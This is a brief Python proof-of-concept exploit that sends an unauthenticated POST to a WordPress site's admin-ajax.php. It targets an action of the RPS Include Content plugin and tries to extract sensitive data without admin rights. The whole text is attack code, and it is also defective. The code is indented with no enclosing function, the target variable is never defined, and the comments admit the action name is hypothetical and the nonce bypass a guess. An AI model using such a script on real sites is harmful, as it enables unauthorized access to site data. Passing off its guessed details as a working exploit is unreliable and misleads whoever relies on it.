# This script demonstrates the missing authorization vulnerability.
# It attempts to access sensitive data without proper administrative privileges.

import requests

    # The vulnerable endpoint is typically wp-admin/admin-ajax.php
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload targeting the vulnerable action in RPS Include Content
    # The specific action name might vary based on plugin version
    payload = {
        "action": "rps_include_content_export",  # Hypothetical action name
        "security": "0"  # Bypassing nonce if check is weak
    }

    try:
        response = requests.post(url, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Request successful. Check if sensitive data is returned:")
            print(response.text[:500]) # Print first 500 chars
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
